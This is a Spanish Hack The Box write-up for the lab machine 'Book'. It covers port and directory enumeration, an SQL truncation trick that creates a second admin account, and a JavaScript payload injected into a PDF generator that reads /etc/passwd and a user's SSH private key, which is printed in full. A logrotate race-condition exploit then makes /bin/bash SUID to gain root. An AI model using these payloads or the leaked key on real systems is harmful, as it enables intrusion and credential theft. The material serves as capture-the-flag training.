Skip to main content
  1. Write-ups/
  2. Hack The Box/
  3. Medium/

Book

·886 words·5 mins· ·
Writeup HTB Medium Book
Fouen
Author
Fouen
Soy un joven informatico interesado en la ciberseguridad
Table of Contents

Reconocimiento
#

Nmap
#

Escaneamos la maquina para ver que puertos tiene abiertos:

nmap -p- --open --min-rate 5000 -Pn -n 10.10.10.176

Nota:

-p-: El guion después de -p indica a nmap que debe escanear todos los puertos desde el 1 hasta el 65535

–open: Filtra los resultados para mostrar solo los puertos abiertos, ignorando los puertos cerrados y filtrados

-sS: El escaneo SYN es un tipo de escaneo que envía paquetes SYN y analiza las respuestas para determinar el estado de los puertos

–min-rate 5000: Configura nmap para enviar al menos 5000 paquetes por segundo, acelerando el escaneo

-Pn: Omite la etapa de ping para determinar si un host está activo, asumiendo que todos los hosts están activos. Esto es útil para escanear hosts que pueden estar configurados para no responder a pings

-n: Evita la resolución de nombres DNS, acelerando el escaneo ya que no se espera a que se resuelvan los nombres de los hosts

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Gobuster
#

Uso gobuster para hacer fuzzing para ver posibles directorios o archivos ocultos:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.176 -t 200 -x php
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/profile.php          (Status: 302) [Size: 0] [--> index.php]
/docs                 (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/]
/search.php           (Status: 302) [Size: 0] [--> index.php]
/home.php             (Status: 302) [Size: 0] [--> index.php]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.176/images/]
/download.php         (Status: 302) [Size: 0] [--> index.php]
/contact.php          (Status: 302) [Size: 0] [--> index.php]
/admin                (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/]
/db.php               (Status: 200) [Size: 0]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/collections.php      (Status: 302) [Size: 0] [--> index.php]
/settings.php         (Status: 302) [Size: 0] [--> index.php]
/index.php            (Status: 200) [Size: 6800]
/books.php            (Status: 302) [Size: 0] [--> index.php]
/feedback.php         (Status: 302) [Size: 0] [--> index.php]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

Intrusión
#

En la web vemos que necesitamos crearnos una cuenta:

Creamos la cuenta y vemos una página con varias cosas:

En el apartado de Contact Us podemos enviar un mensaje al correo del admin, esto es muy interesante ya que podemos intentar un XSS para robarle la cookie de sesión o mirar si le mandamos enlaces que esté programado para clicar en ellos:

Pero esto no nos manda ninguna petición ni nada.

SQL Truncation
#

Mirando mas a fondo la web vemos que podemos cambiar nuestro nombre pero nos lo capa a un limite de caracteres:

Le damos a update

Esto nos da una pista que se puede acontecer un SQL Truncation

Que es? Es una vulnerabilidad donde, debido a un límite de longitud en una columna de la base de datos, se trunca el valor ingresado. Esto puede ser explotado para cambiar o bypass ciertos controles. Por ejemplo, si intentas crear un usuario con un nombre muy largo, el sistema podría truncarlo, permitiendo que alguien cree una cuenta con un nombre similar al de un usuario existente y, potencialmente, acceder a sus privilegios.

Vamos a ver si funciona para crear otro usuario admin con la contraseña que pongamos nosotros

Para esto vamos a interceptar la petición con burpsuite y así la podemos modificar

Después de varias pruebas veo que el limite son 20 caracteres y ahora cuando lo mando se crea el usuario, vamos a ver si tenemos acceso al panel administrador que he visto en el gobuster:

Ya estamos como admin e la web

Ganar acceso
#

En el panel de admin dentro de collections.php podemos descargar los pdf de los libros subidos y en la web podíamos subir pdf:

Al subir un pdf lo podemos ver aquí:

Vemos que se genera el pdf con el input de Book Title y Author que hemos puesto, por lo que se genera un pdf dinámico, podemos probar a usar esos campos vara ver archivos del sistema con este script de HackTricks:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>

Hemos visto que esta el ssh abierto por lo que vamos a intentar mirar la clave id_rsa del usuario reader:

Lo podemos leer pero se corta al final de cada linea y no lo podemos copiar, vamos a solucionarlo con etiquetas de pre-formateo:

Añadiendo la etiqueta "<pre>" antes y después de this.responseText

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write("<pre>"+this.responseText+"</pre>")};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

Ahora si:

-----BEGIN RSA PRIVATE KEY-----  
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ  
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0  
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0  
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s  
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK  
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7  
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+  
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI  
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ  
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz  
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6  
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL  
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/  
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+  
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l  
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V  
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m  
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC  
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u  
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh  
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf  
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi  
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW  
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN  
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=  
-----END RSA PRIVATE KEY-----
reader@book:~$ whoami
reader

Escalada de Privilegios
#

Usaremos pspy para enumerar las tareas cron:

Vemos que rootejecuta un binario llamado logrotate, al buscar en google vemos que se puede explotar para escalar de privilegios:

Logrotate Privilage Escalation

Consiste en una race condition, tenemos que crear un archivo con el payload que queremos que ejecute cuando se haga la race condition y luego compilar el programa que viene abajo:

payloadfile:

#!/bin/bash
chmod u+s /bin/bash
gcc logrotate.c -o logrotate
./logrotate -p payloadfile ./access.log

Ahora en otra terminal entramos al mismo usuario y modificamos algo en el access.log para que se produzca la condición:

echo a > access.log

La bash ya tiene permisos suid

reader@book:~/backups$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash
reader@book:~/backups$ bash -p
bash-4.4# whoami
root

Ya somos root!